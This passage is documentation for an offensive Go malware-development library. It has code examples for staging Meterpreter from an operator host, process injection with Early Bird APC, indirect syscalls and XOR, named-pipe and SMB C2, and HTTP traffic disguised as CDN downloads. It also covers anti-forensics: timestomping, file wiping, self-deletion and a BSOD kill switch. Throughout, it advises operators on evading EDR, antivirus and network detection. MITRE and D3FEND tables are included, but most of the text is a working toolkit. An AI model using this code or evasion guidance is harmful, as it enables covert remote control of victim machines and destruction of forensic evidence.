"github.com/oioio-space/maldev/c2/meterpreter"
)
cfg := &meterpreter.Config{
Transport: meterpreter.TCP,
Host: "192.168.1.10",
Port: "4444",
Timeout: 30 * time.Second,
}
_ = meterpreter.NewStager(cfg).Stage(context.Background())
Composed (HTTPS + InsecureSkipVerify)
cfg := &meterpreter.Config{
Transport: meterpreter.HTTPS,
Host: "operator.example",
Port: "8443",
Timeout: 30 * time.Second,
TLSInsecure: true,
}
_ = meterpreter.NewStager(cfg).Stage(context.Background())
Advanced (custom injector — Early Bird APC + indirect syscalls + XOR)
import (
"context"
"time"
"github.com/oioio-space/maldev/c2/meterpreter"
"github.com/oioio-space/maldev/inject"
)
inj, _ := inject.Build().
Method(inject.MethodEarlyBirdAPC).
ProcessPath(`C:\Windows\System32\notepad.exe`).
IndirectSyscalls().
WithFallback().
Use(inject.WithXORKey(0x41)).
Use(inject.WithCPUDelayConfig(inject.CPUDelayConfig{MaxIterations: 10_000_000})).
Create()
cfg := &meterpreter.Config{
Transport: meterpreter.TCP,
Host: "192.168.1.10",
Port: "4444",
Timeout: 30 * time.Second,
Injector: inj,
}
_ = meterpreter.NewStager(cfg).Stage(context.Background())
Complex (remote inject into existing PID + HTTPS staging)
import "github.com/oioio-space/maldev/inject"
inj, _ := inject.Build().
Method(inject.MethodCreateRemoteThread).
TargetPID(1234).
IndirectSyscalls().
WithFallback().
Create()
cfg := &meterpreter.Config{
Transport: meterpreter.HTTPS,
Host: "operator.example",
Port: "8443",
Timeout: 30 * time.Second,
TLSInsecure: true,
Injector: inj,
}
_ = meterpreter.NewStager(cfg).Stage(context.Background())
See ExampleNewStager in
meterpreter_example_test.go.
OPSEC & Detection
| Artefact | Where defenders look |
|---|---|
| Meterpreter wire format | Snort / Suricata signatures match all three transport types out of the box |
MSF URI checksum pattern (/<8 chars> GET) | NIDS hunt rules |
| Stage in-memory after decrypt | Defender / MDE memory scan — Meterpreter's reflective DLL has known signatures |
CreateThread at a non-image start address | Kernel thread-create callback — defeated by switching to MethodEarlyBirdAPC or similar via Config.Injector |
D3FEND counters:
Hardening for the operator: always set Config.Injector for
Windows engagements; combine with c2/transport uTLS + cert pinning;
use a payload encryptor (Veil, ScareCrow, or crypto.EncryptAESGCM
on a custom stage) so the in-memory bytes do not match Meterpreter's
public reflective-DLL signature.
MITRE ATT&CK
| T-ID | Name | Sub-coverage | D3FEND counter |
|---|---|---|---|
| T1059 | Command and Scripting Interpreter | post-stage Meterpreter shell | D3-PSA |
| T1055 | Process Injection | when Config.Injector is set | D3-PSA |
| T1071.001 | Application Layer Protocol: Web Protocols | HTTP/HTTPS variants | D3-NTA |
| T1095 | Non-Application Layer Protocol | TCP variant | D3-NTA |
Limitations
- Linux Injector unsupported. The ELF wrapper protocol needs the
live socket fd;
Stagereturns an error ifcfg.Injector != nilon Linux. - Public stage signatures. Defender, CrowdStrike, and SentinelOne
fingerprint the unmodified Meterpreter reflective DLL. Custom-built
stages (or
crypto-wrapped stages your handler decrypts) are required against modern AV. - Self-injection default is loud.
VirtualAlloc + CreateThreadis the textbook process-injection chain. Always setConfig.Injectoragainst any non-trivial defender. - Single connection. No reconnect logic — if the stage download
fails, the stager exits. Wrap in a higher-level retry loop or use
c2/shellwith a custom protocol if reconnect is needed.
See also
- Transport — pluggable wire layer alternative.
inject— primaryConfig.Injectorsource.- Reverse shell — when full Meterpreter is overkill.
- HD Moore et al., Metasploit Unleashed: Meterpreter — primer on the protocol.
Multicat — multi-session listener
TL;DR
Operator-side counterpart to c2/shell. One Listener, many
concurrent agents. Each inbound connection gets a sequential session
ID, optional BANNER-encoded hostname metadata, and a lifecycle event
(EventOpened / EventClosed) on the manager's channel. Sessions
are in-memory only — they do not survive a manager restart. Never
embedded in the implant.
Primer
Engagements with more than one host quickly outgrow a single nc -lvp 4444. Multicat is a thin manager that owns one transport Listener,
accepts every incoming agent, assigns a session ID, optionally reads
a BANNER:<hostname>\n hello line, and emits a typed event so an
operator UI (TUI, web dashboard, anything) can render an arrival /
departure stream.
The wire protocol is intentionally tiny: when an agent connects,
multicat reads the first line with a 500 ms deadline. If the line
matches BANNER:<hostname>\n, it populates SessionMetadata.Hostname.
All other bytes are part of the normal shell I/O stream and pass
through. Agents that do not implement BANNER are unaffected.
The package never runs on a target — it is operator infrastructure. That keeps the detection surface zero.
How it works
sequenceDiagram
participant Agent as "Implant (c2/shell)"
participant Mgr as "multicat.Manager"
participant Op as "Operator UI"
Agent->>Mgr: Connect (transport)
Mgr->>Mgr: assign session ID
Mgr->>Agent: read first line (500ms deadline)
Agent-->>Mgr: BANNER:lab-host-01\n (optional)
Mgr->>Op: Event{Type: EventOpened, Session: …}
Note over Agent,Mgr: full-duplex shell I/O
Agent->>Mgr: connection drop
Mgr->>Op: Event{Type: EventClosed, Session: …}
API Reference
multicat.New() *Manager
Construct an empty manager.
(*Manager).Listen(ctx context.Context, ln transport.Listener) error
Accept loop. Blocks until ctx is cancelled or the listener errors.
(*Manager).Events() <-chan Event
Returns the lifecycle-event channel. Close-safe.
multicat.Session / multicat.SessionMetadata
Session holds the connection plus a SessionMetadata (ID,
Hostname, RemoteAddr).
multicat.EventType
Enum: EventOpened, EventClosed.
Examples
Simple
import (
"context"
"fmt"
"github.com/oioio-space/maldev/c2/multicat"
"github.com/oioio-space/maldev/c2/transport"
)
ln, _ := transport.NewTCPListener(":4444")
mgr := multicat.New()
go func() { _ = mgr.Listen(context.Background(), ln) }()
for ev := range mgr.Events() {
if ev.Type == multicat.EventOpened {
fmt.Printf("[+] %s from %s\n", ev.Session.Meta.Hostname, ev.Session.Meta.RemoteAddr)
}
}
Composed (TLS listener + BANNER agents)
Operator side:
ln, _ := transport.NewTLSListener(":8443", "server.crt", "server.key")
mgr := multicat.New()
go mgr.Listen(context.Background(), ln)
Agent side (in c2/shell extension or custom code):
_, _ = conn.Write([]byte("BANNER:" + osHostname + "\n"))
Advanced (channel multiplexer routing into a TUI)
go func() {
for ev := range mgr.Events() {
switch ev.Type {
case multicat.EventOpened:
ui.Add(ev.Session)
case multicat.EventClosed:
ui.Remove(ev.Session.Meta.ID)
}
}
}()
Complex
The Manager does not own session selection or interactive
"foreground" semantics — that is the operator UI's job. See
cmd/rshell for a reference TUI.
See ExampleNew in
multicat_example_test.go.
OPSEC & Detection
This package never executes on a target. The only relevant signals are on the agent side (reverse-shell.md).
The operator-side listener is an inbound TCP / TLS port on the operator's box. Common operator-hygiene practices apply: bind on a private interface, front with a redirector (Apache rewrite, Cloudflare worker), put it behind a single jump host.
MITRE ATT&CK
| T-ID | Name | Sub-coverage | D3FEND counter |
|---|---|---|---|
| T1571 | Non-Standard Port | listener typically binds a high non-standard port | D3-NTA |
Limitations
- In-memory state. Restarting the manager loses every session. Persist out-of-band (log file, database) if the engagement needs continuity.
- No interactive multiplexer. The package emits events; the
operator UI implements foreground selection, scroll-back, kill-on-
exit.
cmd/rshellis the reference TUI. - BANNER deadline is 500 ms. Lossy networks may miss the BANNER
line and treat the bytes as shell I/O. The agent should retry or
fall back to inline
BANNERonce authenticated. - No authentication.
multicataccepts whoever the listener hands it. For mTLS, configure on the listener (c2/cert).
See also
- Reverse shell — agent counterpart.
- Transport — listener factories
(
NewTCPListener,NewTLSListener). cmd/rshell— reference TUI built on multicat.
Named-pipe transport
TL;DR
Windows named-pipe implementation of the
c2/transport Transport and Listener interfaces.
Lets implants beacon over local IPC (no socket, no firewall, no
NIDS visibility) or over SMB to another host (lateral C2 routed
through the file-share redirector). Pipe traffic is the textbook
example of "looks like normal Windows".
Primer
Most C2 traffic leaves the host over TCP / HTTP, where firewalls and NIDS inspect every packet. Windows named pipes are an on-host IPC channel that the OS uses constantly — SMB, RPC, the print spooler, LSASS, every COM out-of-process server. Two processes communicating over a pipe leave zero network artefacts; cross-host pipes (over the SMB redirector) leave SMB session-auditing entries that look identical to legitimate file-share use.
The package implements both sides:
Listener(namedpipe.NewListener(name)) — server-side, accepts agents on\\.\pipe\<name>.Transport(namedpipe.New(name, timeout)) — client-side, connects to either\\.\pipe\<name>(local) or\\<host>\pipe\<name>(cross-host SMB).
Either side plugs into the rest of the C2 stack:
c2/shell takes a Transport,
c2/multicat takes a Listener.
How it works
sequenceDiagram
participant Server as "namedpipe.Listener"
participant NP as "\\.\pipe\c2agent"
participant Client as "namedpipe.Transport (implant)"
Server->>NP: CreateNamedPipe (instance 1)
Server->>NP: ConnectNamedPipe (block)
Client->>NP: CreateFile(\\.\pipe\c2agent)
NP-->>Server: client connected
Server->>Server: spawn next instance (CreateNamedPipe)
Server->>Server: ConnectNamedPipe (block)
par bidirectional I/O
Client->>NP: WriteFile (stdin)
NP-->>Server: ReadFile
Server->>NP: WriteFile (stdout)
NP-->>Client: ReadFile
end
Each Accept returns a connected pipe instance; the listener
immediately spawns the next instance so subsequent clients do not
block.
API Reference
namedpipe.NewListener(name string) (*Listener, error)
Server-side. name is the full pipe path
(\\.\pipe\c2agent).
(*Listener).Accept(ctx context.Context) (net.Conn, error)
Block until an agent connects. Returns a net.Conn whose Read /
Write traverse the pipe.
namedpipe.New(addr string, timeout time.Duration) *NamedPipe
Client-side. addr is \\.\pipe\<name> (local) or
\\<host>\pipe\<name> (SMB). timeout applies to Connect only.
(*NamedPipe).Connect(ctx context.Context) error
Open the pipe.
Standard Transport methods
Read, Write, Close, RemoteAddr follow c2/transport.Transport.
Examples
Simple (local IPC)
Server (operator's relay tool on the same host):
ln, _ := namedpipe.NewListener(`\\.\pipe\c2agent`)
conn, _ := ln.Accept(context.Background())
Implant:
p := namedpipe.New(`\\.\pipe\c2agent`, 5*time.Second)
_ = p.Connect(context.Background())
_, _ = p.Write([]byte("hello"))
Composed (lateral SMB pipe)
Server on OPERATOR-HOST:
ln, _ := namedpipe.NewListener(`\\.\pipe\lat-c2`)
Agent on a different domain-joined host (with credentials to reach the share):
p := namedpipe.New(`\\OPERATOR-HOST\pipe\lat-c2`, 30*time.Second)
_ = p.Connect(context.Background())
The Windows SMB redirector tunnels the pipe over tcp/445. To NIDS
this looks like an SMB session; a typical defender focused on web /
TLS traffic does not parse SMB content.
Advanced (named-pipe shell + multicat)
Operator side combines multicat with the pipe listener:
import (
"context"
"github.com/oioio-space/maldev/c2/multicat"
"github.com/oioio-space/maldev/c2/transport"
"github.com/oioio-space/maldev/c2/transport/namedpipe"
)
ln, _ := namedpipe.NewListener(`\\.\pipe\c2agent`)
adapter := transport.WrapNetListener(ln) // expose as transport.Listener
mgr := multicat.New()
go mgr.Listen(context.Background(), adapter)
Implant uses the same pipe transport on the agent side via
c2/shell.New.
Complex (pipe + named-pipe ACL hardening)
Production pipe servers need an explicit SecurityDescriptor so
unprivileged code on the same host cannot connect. The package's
default DACL allows Everyone for ease of testing — overwrite it
before exposing across hosts. Refer to
c2/transport/namedpipe/listener_windows.go
for the exact SECURITY_ATTRIBUTES shape.
See ExampleNewListener in
namedpipe_example_test.go.
OPSEC & Detection
| Artefact | Where defenders look |
|---|---|
Pipe \\.\pipe\<custom-name> opened by an unusual process | Sysmon Event 17/18 (PipeCreated / PipeConnected) — most defenders are not subscribed by default |
Pipe name not matching common services (spoolss, lsass, wkssvc, srvsvc, …) | Hunt rules — pick a name that mimics a legitimate service to blend |
Cross-host SMB session to \\target\pipe\<name> | Windows Security Event 5145 (file-share access) when audit policy is set |
| Pipe acting as full-duplex shell I/O channel | Behavioural EDR rules (rare; the high signal is the pipe + child process pairing) |
D3FEND counters:
- D3-NTA — SMB-traffic profiling.
- D3-OTF
— egress filter blocking outbound
tcp/445outside expected fileservers.
Hardening for the operator: name the pipe to mimic a legitimate
service (e.g. \\.\pipe\spoolss-<rand>); set a strict DACL that
only the implant's user can connect to; lateral SMB pipes assume
tcp/445 is open between hosts — verify before relying on the
technique.
MITRE ATT&CK
| T-ID | Name | Sub-coverage | D3FEND counter |
|---|---|---|---|
| T1071.001 | Application Layer Protocol: Web Protocols | pipe over SMB lateral path | D3-NTA |
| T1021.002 | Remote Services: SMB/Windows Admin Shares | when bound across hosts via SMB redirector | D3-NTA |
Limitations
- Windows-only. No Unix-domain-socket fallback in this package.
- DACL defaults are permissive. Override
SECURITY_ATTRIBUTESon the listener before exposing across users. - SMB pipe needs
tcp/445connectivity between hosts; many segmented networks deny it. - Bidirectional only. No half-duplex / shared-channel mode.
See also
- Transport — generic interface.
- Reverse shell — primary consumer over local pipes.
- Multicat — operator-side accept loop.
- Microsoft, Named Pipes Overview — primer.
Malleable HTTP profiles
TL;DR
Wrap any HTTP transport in a profile that shapes traffic to look
like benign web activity: GET to plausible CDN-style URIs, custom
headers (Referer, Accept), real browser User-Agent, optional data
encoders. A network analyst inspecting the wire sees jQuery downloads,
not C2 callbacks.
Primer
TLS encrypts payload bytes; it does not hide HTTP structure.
Network analysts who terminate TLS at a corporate proxy (or just see
flow metadata) still observe URL paths, request frequencies, header
sets, and body sizes. A reverse shell that hits /api/data every
five seconds is trivially clusterable.
Malleable profiles steal a trick from Cobalt Strike: shape the C2 into HTTP requests that look like ordinary web traffic. The profile holds:
GetURIs— list of URI patterns for data retrieval. The transport rotates through them. Examples:/jquery-3.7.1.min.js,/static/css/bootstrap.min.css.PostURIs— same for data submission.Headers— custom request headers (Referer,Accept,Cache-Control).UserAgent— pinned User-Agent string. Pair withuseragentfor randomised real-browser UAs.DataEncoder/DataDecoder— optional transforms applied to payload bytes before the request body is built / after the response body is parsed. Lets the operator wrap C2 in (e.g.) a fake JSON envelope, hide it inside an image-shaped blob, or further encrypt on top of TLS.
How it works
sequenceDiagram
participant Sh as "c2/shell or stager"
participant Mal as "Malleable transport"
participant CDN as "Operator handler (looks like CDN)"
Sh->>Mal: Write([]byte("ls /etc"))
Mal->>Mal: DataEncoder(bytes)
Mal->>CDN: GET /jquery-3.7.1.min.js<br>Referer: https://docs.example/<br>User-Agent: Chrome/124
CDN-->>Mal: 200 OK + payload-as-jquery
Mal->>Mal: DataDecoder(body)
Mal-->>Sh: Read → []byte("/etc/passwd contents")
The handler on the operator side accepts requests on the same URIs and responds with the next chunk. With realistic timing (jitter, sleep) the traffic is indistinguishable from a slow CDN page-load.
API Reference
transport.Profile
type Profile struct {
GetURIs []string
PostURIs []string
Headers map[string]string
UserAgent string
DataEncoder func([]byte) []byte
DataDecoder func([]byte) []byte
}
transport.NewMalleable(address string, timeout time.Duration, profile *Profile, opts ...MalleableOption) *Malleable
Construct a malleable HTTP transport. address is the operator
endpoint (https://operator.example); profile shapes traffic;
opts include WithTLSConfig(...) to inject a custom *http.Transport
(typically holding the uTLS / cert-pin configuration).
transport.WithTLSConfig(*http.Transport) MalleableOption
Inject the underlying *http.Transport. Compose with uTLS or
fingerprint-pinning to harden the connection layer.
Examples
Simple
import (
"context"
"time"
"github.com/oioio-space/maldev/c2/transport"
)
profile := &transport.Profile{
GetURIs: []string{"/jquery-3.7.1.min.js", "/popper.min.js"},
PostURIs: []string{"/api/v2/telemetry"},
Headers: map[string]string{"Referer": "https://docs.example/"},
UserAgent: "Mozilla/5.0 (Windows NT 10.0; Win64) AppleWebKit/537.36 Chrome/124",
}
tr := transport.NewMalleable("https://operator.example", 10*time.Second, profile)
_ = tr.Connect(context.Background())
Composed (pair with the useragent package)
import (
"github.com/oioio-space/maldev/c2/transport"
"github.com/oioio-space/maldev/useragent"
)
db, _ := useragent.Load()
ua := db.Filter(func(e useragent.Entry) bool { return e.Browser == "Chrome" }).Random()
profile := &transport.Profile{
GetURIs: []string{"/jquery-3.7.1.min.js"},
UserAgent: ua.UserAgent,
}
tr := transport.NewMalleable("https://operator.example", 10*time.Second, profile)
_ = tr.Connect(context.Background())
Advanced (encoder pair — wrap C2 in a fake JSON body)
import (
"encoding/base64"
"fmt"
)
profile := &transport.Profile{
PostURIs: []string{"/api/v1/events"},
DataEncoder: func(b []byte) []byte {
return []byte(fmt.Sprintf(`{"event":"page_view","payload":%q}`,
base64.StdEncoding.EncodeToString(b)))
},
DataDecoder: func(b []byte) []byte {
// Parse JSON, base64-decode payload, return raw bytes.
// Implementation omitted.
return decodeJSONPayload(b)
},
}
Complex (full chain — uTLS + cert pin + malleable + shell)
import (
"crypto/tls"
"net/http"
"time"
"github.com/oioio-space/maldev/c2/shell"
"github.com/oioio-space/maldev/c2/transport"
)
httpTr := &http.Transport{
TLSClientConfig: &tls.Config{InsecureSkipVerify: true},
}
profile := &transport.Profile{
GetURIs: []string{"/jquery-3.7.1.min.js", "/bootstrap.min.css"},
PostURIs: []string{"/api/v2/metrics"},
UserAgent: "Mozilla/5.0 (Windows NT 10.0; Win64) Chrome/124",
Headers: map[string]string{"Referer": "https://docs.example/"},
}
tr := transport.NewMalleable("https://cdn.example.com", 10*time.Second, profile,
transport.WithTLSConfig(httpTr))
sh := shell.New(tr, nil)
_ = sh.Start(context.Background())
sh.Wait()
OPSEC & Detection
| Artefact | Where defenders look |
|---|---|
| Identical URI in every C2 cycle | NIDS clustering — rotate through GetURIs and randomise |
| Stale User-Agent strings | Defenders periodically refresh "real browser UA" lists; pair with useragent for fresh entries |
Referer always identical or absent | Behavioural NIDS; vary the Referer per cycle if possible |
| POST/GET ratio mismatched with cover content (e.g. constant POSTs to a "static asset" URI) | Heuristic — match GET/POST distribution to the cover content |
| Body size patterns (every request exactly 32 KB) | Add randomised padding inside DataEncoder |
| TLS handshake fingerprint | Pair with uTLS via WithTLSConfig + a uTLS-backed *http.Transport |
D3FEND counters:
- D3-NTA — content + header analysis on TLS-terminated traffic.
- D3-FCR — YARA-like rules on response bodies.
Hardening for the operator: keep GetURIs plausible and
rotate; choose a cover that matches the operator endpoint's
hostname (a CDN-shaped FQDN paired with /jquery-*.min.js is
believable; /api/data is not); randomise jitter at the shell
layer.
MITRE ATT&CK
| T-ID | Name | Sub-coverage | D3FEND counter |
|---|---|---|---|
| T1071.001 | Application Layer Protocol: Web Protocols | HTTP traffic shaping | D3-NTA |
Limitations
- No bidirectional streaming. HTTP is request/response. The shell layer batches I/O into discrete chunks.
- Body size cap. Some CDNs / proxies truncate at 1–10 MB. Chunk large transfers across multiple requests.
- Encoder/decoder discipline. Profiles are operator + implant
pairs — both sides must agree on
DataEncoder/DataDecoder. - No malleable C2 profile DSL. This package implements the
primitives; defining a Cobalt Strike-style
.profileDSL parser is out of scope.
See also
- Transport — base
Transportinterface and uTLS integration viaWithTLSConfig. useragent— random real-browser UAs.- Cobalt Strike, Malleable C2 Profile reference — primer on the technique class (different DSL, same idea).
Cleanup techniques
On-host artifact removal and anti-forensics primitives applied at the end of an operation. Each package targets one specific class of artifact (file on disk, memory region, NTFS timestamp, service registration, in-memory state). Compose them as the implant tears itself down.
TL;DR
flowchart LR
A[wipe sensitive memory] --> B[reset timestamps]
B --> C[remove files]
C --> D[hide service / clear logs]
D --> E[self-delete or BSOD]
A typical end-of-mission chain: memory.WipeAndFree keys → timestomp any
artefacts you can't delete → wipe.File what you can → service.HideService
or unregister → selfdelete.Run (or bsod.Trigger if egress is critical).
Packages
| Package | Tech page | Detection | One-liner |
|---|---|---|---|
cleanup/ads | ads.md | quiet | NTFS Alternate Data Streams CRUD |
cleanup/bsod | bsod.md | very-noisy | Trigger BSOD via NtRaiseHardError — last-resort kill switch |
cleanup/memory | memory-wipe.md | very-quiet | SecureZero / WipeAndFree / DoSecret for in-process secrets |
cleanup/selfdelete | self-delete.md | moderate | Delete the running EXE via NTFS ADS rename + delete-on-close |
cleanup/service | service.md | noisy | Hide a Windows service via DACL manipulation |
cleanup/timestomp | timestomp.md | quiet | Reset $STANDARD_INFORMATION MAC timestamps |
cleanup/wipe | wipe.md | quiet | Multi-pass random overwrite then os.Remove |
Quick decision tree
| You want to… | Use |
|---|---|
| …forget keys/credentials still in process memory | memory.SecureZero or memory.WipeAndFree |
…make a dropped artefact's mtime match notepad.exe | timestomp.CopyFrom |
| …shred a file before removing it | wipe.File (low-volume forensics) or pair it with timestomp |
| …delete the running EXE and exit cleanly | selfdelete.Run |
| …terminate the host immediately to stop log shipping | bsod.Trigger (last resort) |
…hide a Windows service from services.msc | service.HideService |
| …stash a payload on disk where Explorer can't see it | ads.Write |
MITRE ATT&CK
| T-ID | Name | Packages | D3FEND counter |
|---|---|---|---|
| T1070 | Indicator Removal | cleanup/memory, cleanup/timestomp, cleanup/wipe, cleanup/selfdelete | D3-RAPA, D3-PFV |
| T1070.004 | File Deletion | cleanup/wipe, cleanup/selfdelete | D3-PFV |
| T1070.006 | Timestomp | cleanup/timestomp | D3-FH (File Hashing) |
| T1529 | System Shutdown/Reboot | cleanup/bsod | D3-PSEP |
| T1543.003 | Create or Modify System Process: Windows Service | cleanup/service | D3-RAPA |
| T1564 | Hide Artifacts | cleanup/service, cleanup/ads | D3-RAPA |
| T1564.004 | NTFS File Attributes | cleanup/ads | D3-FCR (File Content Rules) |
See also
Secure memory cleanup
TL;DR
Three primitives to erase sensitive data from process memory before it
shows up in a crash dump, a debugger inspection, or a kernel-level
process scan: SecureZero (slice), WipeAndFree (VirtualAlloc'd
region), DoSecret (function-call scope).
Primer
After your shellcode runs, its decrypted bytes, encryption keys, and C2 addresses sit in process memory. If the process is dumped — by an analyst, EDR memory scanner, or LSASS-style live snapshot — that data is exposed.
Naïve approaches fail:
for i := range buf { buf[i] = 0 }— Go's optimizer happily removes the writes if it sees you don't read the buffer afterwards.copy(buf, make([]byte, len(buf)))— same problem.
Go's clear builtin is treated as an intrinsic the compiler must NOT
optimize away. SecureZero wraps it. WipeAndFree adds the
VirtualProtect → write zeros → VirtualFree sequence required when the
memory came from windows.VirtualAlloc. DoSecret is the experimental
Go 1.26 runtimesecret mode: register/stack/heap erasure on function
return.
How it works
flowchart LR
subgraph SecureZero
BUF["[]byte"] --> CLEAR["clear(buf)<br>(intrinsic, not elidable)"]
CLEAR --> ZEROED["all bytes 0x00"]
end
subgraph WipeAndFree
VA["VirtualAlloc'd region"] --> PROT["VirtualProtect → RW"]
PROT --> WRITE["zero loop"]
WRITE --> FREE["VirtualFree(MEM_RELEASE)"]
end
subgraph DoSecret
FN["func() { … }"] --> RUN["call inside runtime.Secret guard"]
RUN --> ERASE["registers + stack + heap temps zeroed"]
ERASE --> RET["return to caller"]
end
SecureZero is the everyday tool. WipeAndFree is for the post-shellcode
RWX page. DoSecret is the new hotness — wrap any sensitive computation
unconditionally; without runtimesecret it's a no-op call.
API Reference
SecureZero(b []byte)
Overwrite b with zeros via clear.
Parameters: b — slice to zero. Length unchanged. Cap unchanged.
Returns: none. Slice is mutated in place.
Side effects: none beyond the write.
OPSEC: invisible to user-mode hooks. Kernel ETW sees nothing.
WipeAndFree(addr uintptr, size uint32) error (Windows-only)
Re-protect addr..addr+size to RW, write zeros, then VirtualFree(MEM_RELEASE).
Parameters: addr — base of a VirtualAlloc'd region. size — bytes
to wipe (typically the original allocation size).
Returns: error — wraps VirtualProtect / VirtualFree failures.
Side effects: the region becomes inaccessible after VirtualFree.
Reading addr afterwards faults.
OPSEC: standard VirtualProtect + VirtualFree — high-volume
legitimate calls.
DoSecret(f func())
Run f inside a runtime-secret scope. With Go 1.26+ and
GOEXPERIMENT=runtimesecret, registers/stack/heap-temporaries used
during f are zeroed on return. Without that toolchain, DoSecret is a
plain function call.
Parameters: f — function performing the secret computation.
Side-effects (writes to outer scope) are preserved.
Returns: none.
Side effects: with the experiment, scratch memory used during f
is destroyed.
OPSEC: invisible to user-mode hooks; the runtime erasure happens inside the Go runtime.
Examples
Simple
key := crypto.RandomKey(32)
defer memory.SecureZero(key)
// use key …
Composed (with crypto)
plaintext := decrypt(payload, key)
defer memory.SecureZero(plaintext)
defer memory.SecureZero(key)
// run shellcode …
Advanced (post-injection cleanup)
addr, _ := windows.VirtualAlloc(0, size,
windows.MEM_COMMIT|windows.MEM_RESERVE,
windows.PAGE_EXECUTE_READWRITE)
copy(unsafe.Slice((*byte)(unsafe.Pointer(addr)), size), shellcode)
runShellcode(addr)
_ = memory.WipeAndFree(addr, uint32(size))
Complex (DoSecret for key derivation)
var derived []byte
memory.DoSecret(func() {
tmp := pbkdf2(password, salt, 100_000, 32)
derived = make([]byte, len(tmp))
copy(derived, tmp)
memory.SecureZero(tmp) // belt + braces while DoSecret-experiment is non-default
})
// derived is the only surviving copy; password / pbkdf2 internals erased on Go 1.26+
OPSEC & Detection
| Artefact | Where defenders look |
|---|---|
VirtualProtect(RWX → RW) then VirtualFree(MEM_RELEASE) | EDR call-stack inspection — pattern is benign on its own |
| Process memory scanner finding zeroed pages where shellcode used to be | Periodic memory scanning (hard for blue at scale) |
Crash dump captured BEFORE WipeAndFree runs | Out of scope for this primitive — guard with defer early |
D3FEND counter: D3-PMA (Process Memory Analysis) — defeated by timely cleanup; remains effective when defender captures dump before cleanup runs.
MITRE ATT&CK
| T-ID | Name | Sub-coverage |
|---|---|---|
| T1070 | Indicator Removal | in-memory variant |
Limitations
- Cannot cover what's already on disk. If a paged-out region was
swapped to
pagefile.sys,SecureZerodoesn't reach the swap copy. Mitigation:windows.VirtualLockthe region, thenVirtualUnlock+ zero before free. DoSecretregister erasure requiresGOEXPERIMENT=runtimesecret- Go 1.26+ + linux/amd64 or arm64. Without these, it's a plain call.
- Compiler tail-call elision can leak registers across
DoSecretscope on certain architectures — confirm withgo tool objdumpfor high-stakes uses. - Crash dumps captured before the
deferruns include the secrets in plain text.
See also
cleanup/wipe— same intent, on disk.- Go 1.26 release notes — runtimesecret experiment (link valid once 1.26 ships).
- OWASP — Memory Management Cheat Sheet.
Secure file wipe
TL;DR
Multi-pass overwrite a file with crypto/rand bytes, then os.Remove.
Cross-platform. Defeats undelete utilities and partition recovery; does
NOT defeat physical-layer recovery (residual magnetism on HDDs, SSD wear-
levelling remap pools).
Primer
When you os.Remove a file, the OS unlinks the directory entry but the
underlying disk blocks remain readable until reused. Tools like
PhotoRec, Recuva, and ntfsundelete walk the MFT and recover those
blocks. A multi-pass random overwrite makes the recovered content
indistinguishable from random — useful for keys, configs, and any
short-lived artefact you want to leave behind cleanly.
The countermeasure isn't perfect: SSDs remap blocks transparently, so overwriting "the same file" may write to fresh cells while the original data sits in the wear-levelling pool until the controller rewrites it. For SSD targets, paired host-level encryption (BitLocker, LUKS) is the real answer.
How it works
flowchart TD
Open["os.OpenFile(path, RDWR)"] --> Stat["fi.Size()"]
Stat --> Loop{"pass < N?"}
Loop -- yes --> Rand["read crypto/rand into buf"]
Rand --> Write["WriteAt(buf, 0..size)"]
Write --> Sync["f.Sync()"]
Sync --> Loop
Loop -- no --> Close["f.Close() + os.Remove(path)"]
Each pass reads a new random buffer (no buffer reuse — fresh randomness
forces the filesystem to actually rewrite blocks rather than dedup
identical writes). f.Sync() after each pass forces the page cache to
flush to disk.
API Reference
File(path string, passes int) error
Overwrite path with random data passes times, then delete it.
Parameters:
path— file to wipe. Must exist and be writable.passes— number of overwrite passes. 1 is sufficient for casual defeat of undelete; 3 is the DoD 5220.22-M minimum (largely superstition for modern SSDs but standard contract). 7+ is gold-plated.
Returns:
error— wrapsos.OpenFile/WriteAt/Sync/os.Removefailures.nilon success (file no longer exists).
Side effects: writes passes × file_size random bytes to disk.
OPSEC: generates write events of the same size as the file. Pair with
timestomp on the parent directory if directory mtime
matters.
Examples
Simple
import "github.com/oioio-space/maldev/cleanup/wipe"
if err := wipe.File("/tmp/secret.bin", 3); err != nil {
log.Fatal(err)
}
Composed (with cleanup/timestomp)
import (
"github.com/oioio-space/maldev/cleanup/timestomp"
"github.com/oioio-space/maldev/cleanup/wipe"
)
// Reset parent dir mtime BEFORE wiping the child — otherwise the child
// removal updates the parent dir.
ref := `C:\Windows\System32\notepad.exe`
_ = timestomp.CopyFrom(ref, filepath.Dir(target))
_ = wipe.File(target, 3)
// Re-stomp parent (the unlink we just did updated it again).
_ = timestomp.CopyFrom(ref, filepath.Dir(target))
Advanced
End-of-mission cleanup chain:
// 1. Wipe payload droppers
for _, f := range []string{"impl.dll", "loader.exe", "config.json"} {
_ = wipe.File(filepath.Join(workDir, f), 3)
}
// 2. Reset workdir parent mtime
_ = timestomp.CopyFrom(`C:\Windows\System32\notepad.exe`, filepath.Dir(workDir))
// 3. Self-delete the running EXE
_ = selfdelete.Run()
OPSEC & Detection
| Artefact | Where defenders look |
|---|---|
| Repeated full-file writes of the same size | EDR file-IO event aggregation |
crypto/rand reads driving large writes | RtlGenRandom / BCryptGenRandom event volume |
| Final unlink event | NTFS $LogFile / Sysmon Event 11 |
D3FEND counter: D3-PFV (Persistent File Volume Inspection) — file-recovery tooling against journaled filesystems. Mitigates partial overwrites, defeated by complete multi-pass overwrites only on rotational disks.
MITRE ATT&CK
| T-ID | Name | Sub-coverage |
|---|---|---|
| T1070.004 | Indicator Removal: File Deletion | overwrite-then-delete variant |
Limitations
- Not effective on SSDs at the physical layer (wear levelling).
- Not effective on copy-on-write filesystems (ZFS, Btrfs, ReFS) — old blocks survive in the volume's snapshot space until garbage-collected.
- Filesystem journaling (NTFS
$LogFile, ext4 jbd2) may retain metadata copies of file size and name even after the data blocks are overwritten. - Antivirus realtime scan may already have copied the file to its scan cache; wiping the original doesn't reach those copies.
See also
cleanup/selfdelete— for the running EXE itself.cleanup/timestomp— pair to reset parent-dir mtime.cleanup/memory— same intent, in-memory.- DoD 5220.22-M historical reference — the canonical "secure delete" standard.
Self-deletion (running EXE)
TL;DR
Delete the running executable from disk while the process keeps
executing from its in-memory mapped image. The trick: rename the file's
default :$DATA stream, then mark for deletion. Windows considers the
file "empty" and tolerates deletion of the running EXE. Four entry
points trade stealth for portability.
Primer
Windows holds an open handle on a running EXE's image file (it's mapped
into the process). os.Remove on a running EXE returns "in use".
The NTFS quirk this package exploits: every file has an unnamed default
data stream :$DATA that holds the file's content. NTFS allows you to
rename that default stream to a named stream (e.g. :x). After
rename, the file from the kernel's perspective has zero bytes in its
